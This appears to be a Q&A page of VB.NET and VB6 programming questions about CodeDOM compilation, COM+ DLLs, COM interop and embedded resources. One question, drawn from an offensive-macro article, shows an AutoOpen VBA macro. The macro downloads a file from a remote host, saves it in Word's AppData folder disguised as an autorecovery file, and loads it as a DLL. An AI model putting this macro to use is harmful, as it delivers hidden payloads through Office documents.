Compile code without showing console window - vb.net

I have created a simple compiler that will compile VB.net code. It works fine except that a console window always shows up when I compile code. Is there any way to stop the console window from showing up when I compile code? Here is my code:
Dim Parameters As New CodeDom.Compiler.CompilerParameters
Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
Parameters.GenerateExecutable = True
Parameters.OutputAssembly = AppDomain.CurrentDomain.BaseDirectory & "Program"
Dim Results As CodeDom.Compiler.CompilerResults = CodeDom.Compiler.CodeDomProvider.CreateProvider("VisualBasic").CompileAssemblyFromSource(Parameters, txtEditor.Text)
If Results.Errors.Count > 0 Then
MessageBox.Show("There are some errors in the code.")
Else
Process.Start(AppDomain.CurrentDomain.BaseDirectory & "Program")
End If
And this is the code I am compiling:
Public Module Module1
Public Sub Main()
Dim TestForm As New System.Windows.Forms.Form
TestForm.ShowDialog()
End Sub
End Module

The default target type for CodeDOM is a console application. For a WinForm application add:
Parameters.CompilerOptions = "/target:winexe"
see: target:winexe

Related

Using MSscriptControl in VB.net adding an object gives Specified cast is not valid error

Here a sample code that produces the error. I have used MSscript in VB projects in the past and those projects are functioning.
The error reported is: "When casting from a number, the value must be a number less than infinity"
Or if anyone has another suggested way to easily add scripting to a project.
Private Sub Run_Script()
Dim scriptEngine As New MSScriptControl.ScriptControl()
Dim TestClass As New Sample
Dim ScriptCode As String
scriptEngine.Language = "VbScript"
scriptEngine.AddObject("Test", TestClass, True)
ScriptCode = "MsgBox ""tests"" "
scriptEngine.AddCode(ScriptCode)
End Sub
End Class
Public Class Sample
Public Sub Test()
MessageBox.Show("This is a test")
End Sub
End Class
I found the answer. I needed to set com visible to true. This is found under "Assembly Information"

VB6 dll in COM+ Sub Main is not called

VB6 dll named SimpleBO with a module (.bas) and Sub Main has the following code
Public gsConnectionString As String
Sub Main()
Dim constr As String
constr = getConStr() 'get it from a file
gsConnectionString = constr
LogToFile "At main after getting constr showing gsConnectionString " & gsConnectionString 'logToFile simply writes a line in a file
....
Exit Sub
... Error handler
Exit sub
The module also has a public method:
Public Function GetConnectionEnterprise() As String
GetConnectionEnterprise = gsConnectionString
Exit Function
The dll has a class called SystemBO with different methods including:
Public Function Connection() As String
Connection = GetConnectionEnterprise
Exit Function
Then a VB6 exe also has a module with Sub Main as it startup.
It references the dll and has this code in the sub main:
Public gsConnectionString as String
Sub Main()
Dim oBO As SimpleBO.SystemBO
Set oBO = New SimpleBO.SystemBO
gsConnectionString = oBO.Connection
LogToFile "InTestBOSimple:ModStartUpForTestBOSimple:Main gsConnectionString " & gsConnectionString
frmTestBO1.Show
Set oBO = Nothing
Exit Sub
The VB6 is added as a COM+ component.
First test on a Windows 10 computer - running the exe.
The log file shows:
SimpleBO:modStartUp:Main At main after getting constr showing gsConnectionString Provider=sqlOLEDB;Data ...
Then
InTestBOSimple:ModStartUpForTestBOSimple:Main gsConnectionString Provider=sqlOLEDB;Data Source
Results as expected. The Sub Main of the dll is called.
Next install the dll and the exe on Windows Server 2012 running on a VM.
The dll is installed in Com+ with same setup.
Then when running the exe (which runs with no errors) the log file does not show that the Sub Main of the dll was called and only shows:
InTestBOSimple:ModStartUpForTestBOSimple:Main gsConnectionString (blank)
Meaning the call to oBO.Connection, which did not error out, returned nothing, which also shows that Sub Main of the dll was not called.
I tried various things - re install the com+ from scratch on the server but same issues.
I tried to add code in the exe which has a form and on a button click has
Private Sub cmdGetCN_Click()
Dim oBO As SimpleBO.SystemBO
Dim cn As String
Set oBO = New SimpleBO.SystemBO
cn = oBO.Connection
lblMessage.Caption = "cn = " & cn
Exit Sub
the message showed CN = (and blank after it).
Did anyone experience this type of issue?
Thank you

How to dynamically load a DLL in VBA using a DLL Trick

I'm reading this article:
https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/
and for some reason I can't seem to replicate the second Dll trick i.e Storing Seemingly "Legitimate" Office Files That Are Really DLLs.
What I've already tried is created a simple c# DLL with an exported function that only displays a Message-box saying ".NET Assembly Running".
The test.dll is run like so from the command line:
rundll32 test.dll,TestExport
But when I follow the article for some reason the code keeps failing.
Here's my modified VBA after following the article:
Private Declare Sub TestExport Lib "Autorecovery save of Doc3.asd" ()
Sub AutoOpen()
Dim PathOfFile As String
PathOfFile = Environ("AppData") & "\Microsoft\Word"
VBA.ChDir PathOfFile
Dim remoteFile As String
Dim HTTPReq As Object
remoteFile = "http://192.168.100.2:8443/test.js"
storein = "Autorecovery save of Doc3.asd"
Set HTTPReq = CreateObject("Microsoft.XMLHTTP")
HTTPReq.Open "GET", remoteFile, False
HTTPReq.send
If HTTPReq.Status = 200 Then
Set output = CreateObject("ADODB.Stream")
output.Open
output.Type = 1
output.Write HTTPReq.responseBody
output.SaveToFile storein, 2
output.Close
Module2.Invoke
End If
End Sub
Sub Invoke()
TestExport
End Sub
And here's the C# code for the DLL:
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Test
{
class Test
{
[DllExport]
public static void TestExport()
{
MessageBox.Show(".NET Assembly Running");
}
}
}
I expected it to work just don't know why it didn't fit my VBA.
It does not work like that in VBA. The DLL has to be a COM DLL and to be loaded by the VBA project reference. That also means that the DLL has to be registered in the Windows registry. So put your C# away and start VB.NET. Create a dll project and choose a COM-CLASS from the Templates.
Look at the first line here (
<Assembly: CommandClass(GetType(ComClass3))> '<<<<add this !!!!
<ComClass(ComClass3.ClassId, ComClass3.InterfaceId, ComClass3.EventsId)>
Public Class ComClass3
#Region "COM-GUIDs"
Public Const ClassId As String = "94b64220-ce6e-400d-bcc0-d45ba56a14f7"
Public Const InterfaceId As String = "89a8c04e-e1fb-4950-85b2-7c1475156701"
Public Const EventsId As String = "af56d401-6492-4172-bf1e-10fa5e419aa4"
#End Region
Public Sub New()
MyBase.New()
End Sub
sub test
'your code
end sub
End Class
The fun part is that by the assembly advice all your subs and functions show up in VBA without any other action.
TO GET THIS WORK START VS IN ADMINISTRATOR MODE !!! Otherwise it has not the needed rights to also automatically do the dll registering.
If you are happy use some tool to convert the code to c#. Its also possible just to do the interface as a wrapper in VB.net :) Now you can reference the dll in VBA and do all the things with her like you can do with other dlls which work in VBA. Like:
SUB tester
dim x= new comclass3
x.test
end sub
Some pitfalls i forget to mention. VBA and .NET do not speak all the time the same string language. Stupidly one way is converted automatically - the way back not. One talks for example in UTF8 an the other in BSTR. So if nothing or garbage is returned most likely you has not chosen the wrong string converter. I use the auto detect converter from .net if needed. You can get crazy by this. Also do not mix 32bit and 64 bit code or pointers. Autocad for example will nuke up immediatly by this. (Whatever genius drawing you might have inside - it doesnt cares).

Extracting `dll` files from the Resources after they been added using CodeDOM in VB.Net

I'v seen a lot of answers here on stackoverflow, but none of them help me with exactly what i need and almost all of them in C# when i need VB, so i hope someone will help me with my problem, which is this :
I have compiled a exe file in vb.net using CodeDOM, and i added two dll file to its resources and that worked just fine and you can even notice that the size of the exe has increase after adding the resources, but when i run the exe file like that My.Resources.Touchless, it gives me an error saying that
"Resources" is not a member of "My".
And what i need is to read these dll files from the compiled exe file and then extract them using File.WriteAllBytes()..., if i didn't try to extract the files from the resources and instead of that i copied them manually to the executable path, the application will work perfectly, so the problem is just with trying to call the dll files from the resources.
Here is some code :
Public Shared Function Compile(ByVal Output As String, ByVal Source As String, ByVal Icon As String, ByVal resources As String) As Boolean
Dim Parameters As New CompilerParameters()
Dim cResults As CompilerResults = Nothing
Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("VB")
Parameters.GenerateExecutable = True
Parameters.TreatWarningsAsErrors = False
Parameters.OutputAssembly = Output
Parameters.MainClass = "MyNamespace.MainWindow"
Parameters.EmbeddedResources.Add(Path.GetTempPath & "TouchlessLib.dll")
Parameters.EmbeddedResources.Add(Path.GetTempPath & "WebCamLib.dll")
Parameters.ReferencedAssemblies.AddRange(New String() {"System.dll", "System.Drawing.dll", "System.Windows.Forms.dll", "System.Management.dll", Path.GetTempPath & "TouchlessLib.dll"})
Parameters.CompilerOptions = "/platform:x86 /target:winexe"
If Not String.IsNullOrEmpty(Icon) Then
File.Copy(Icon, "icon.ico")
Parameters.CompilerOptions += " /win32icon:" & "icon.ico"
End If
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
If cResults.Errors.Count > 0 Then
For Each compile_error As CompilerError In cResults.Errors
Dim [error] As CompilerError = compile_error
Console.Beep()
MsgBox("Error: " & [error].ErrorText & vbCr & vbLf & [error].Line)
Next
Return False
End If
If Not (String.IsNullOrEmpty(Icon)) Then
File.Delete("icon.ico")
End If
Return True
End Function
When i call them from the compiled exe file like this :
File.WriteAllBytes(Application.StartupPath & "\TouchlessLib.dll", My.Resources.TouchlessLib)
File.WriteAllBytes(Application.StartupPath & "\WebCamLib.dll", My.Resources.WebCamLib)
... i get the following error message :
"Resources" is not a member of "My".
Try adding this class:
Imports System.Dynamic
Imports System.Reflection
Public Class DynamicResources
Inherits DynamicObject
Public Overrides Function TryGetMember(binder As GetMemberBinder, ByRef result As Object) As Boolean
Dim asm As Assembly = Assembly.GetExecutingAssembly()
Dim resouceNames As String() = asm.GetManifestResourceNames
For Each s As String In resouceNames
Dim name As String = IO.Path.GetFileNameWithoutExtension(s)
Dim Manager As New Resources.ResourceManager(name, asm)
Try
Dim resource = Manager.GetObject(binder.Name)
If Not resource Is Nothing Then
result = resource
Return True
End If
Catch ex As Exception
End Try
Next
Return False
End Function
End Class
You can use it like this:
Dim root as string=Application.StartupPath
File.WriteAllBytes(Path.Combine(root, "TouchlessLib.dll"), DynamicResources.TouchlessLib)
File.WriteAllBytes(Path.Combine(root, "WebCamLib.dll"), DynamicResources.WebCamLib)
The My namespace and any associated functionality is created via auto-generated code. Since your code is now the code generator and not the IDE, you will not have those niceties unless your code provides it.
To extract an embedded resource, you need to include code similar to the following in the source code you are compiling with CodeDOM.
Dim asm As Assembly = Assembly.GetExecutingAssembly()
Dim resouceNames As String() = asm.GetManifestResourceNames
For Each s As String In resouceNames
Dim fi As New FileInfo(s)
Using strm As Stream = asm.GetManifestResourceStream(s)
Using fs As Stream = fi.Create()
strm.CopyTo(fs)
End Using
End Using
Next
Make sure that you also include:
Imports System.Reflection
Imports System.IO
This code retrieves the executing Assembly obtains an array of embedded resource names. It then calls GetManifestResourceStream method to get the named resource as a stream. This stream is copied to a file stream.
Modify the example to suite your needs.
Note that I have not included any error checking/handling in this example. Anything dealing with IO should have some error handling.
Edit:
Based on the comment below, it appears that only a copy/paste type answer will do for the OP.
Dim asm As Assembly = Assembly.GetExecutingAssembly()
Dim resourceName As String
Dim fi As FileInfo
resourceName = "TouchlessLib.dll"
fi = New FileInfo(Path.Combine(System.AppDomain.CurrentDomain.BaseDirectory, resourceName))
Using strm As Stream = asm.GetManifestResourceStream(resourceName)
Using fs As Stream = fi.Create()
strm.CopyTo(fs)
End Using
End Using

Writing to Command Line Not Working

An application I need to use (USB capture utility) has a .cmd version that I can call from my Visual Basic code. I am able to launch the application and put it in "command line mode" like this:
Public Class MyClass
Dim StreamWriteUtility As System.IO.StreamWriter
Dim StreamReadUtility As System.IO.StringReader
Dim ProcessInfo As ProcessStartInfo
Dim Process As Process
Public Sub StartUSBCapture(ByVal DataStorageLocation As String)
Dim ProcessInfo As ProcessStartInfo
Dim Process As New Process
ProcessInfo = New ProcessStartInfo("C:\FW_Qualification_Suite\data-center-windows\data-center\bin\datacenter.cmd", "-c ")
ProcessInfo.CreateNoWindow = True
ProcessInfo.UseShellExecute = False 'Must be changed if redirect set to True
ProcessInfo.RedirectStandardInput = True
Process = Process.Start(ProcessInfo)
SWUtility = Process.StandardInput
While True
SWUtility.WriteLine("run") 'Looping for test to ensure this isn't a timing issue
End While
End Sub
End Class
This launches the application and opens a separate command line window that should accept further commands (i.e., capture, run, stop, etc). However, I am having trouble getting those subsequent commands to show up in the command line window. I've tried redirecting the standard input of the process, but still nothing shows up in the console window.
Can anyone tell how I'm supposed to actually get these commands from my Visual Basic program into this application?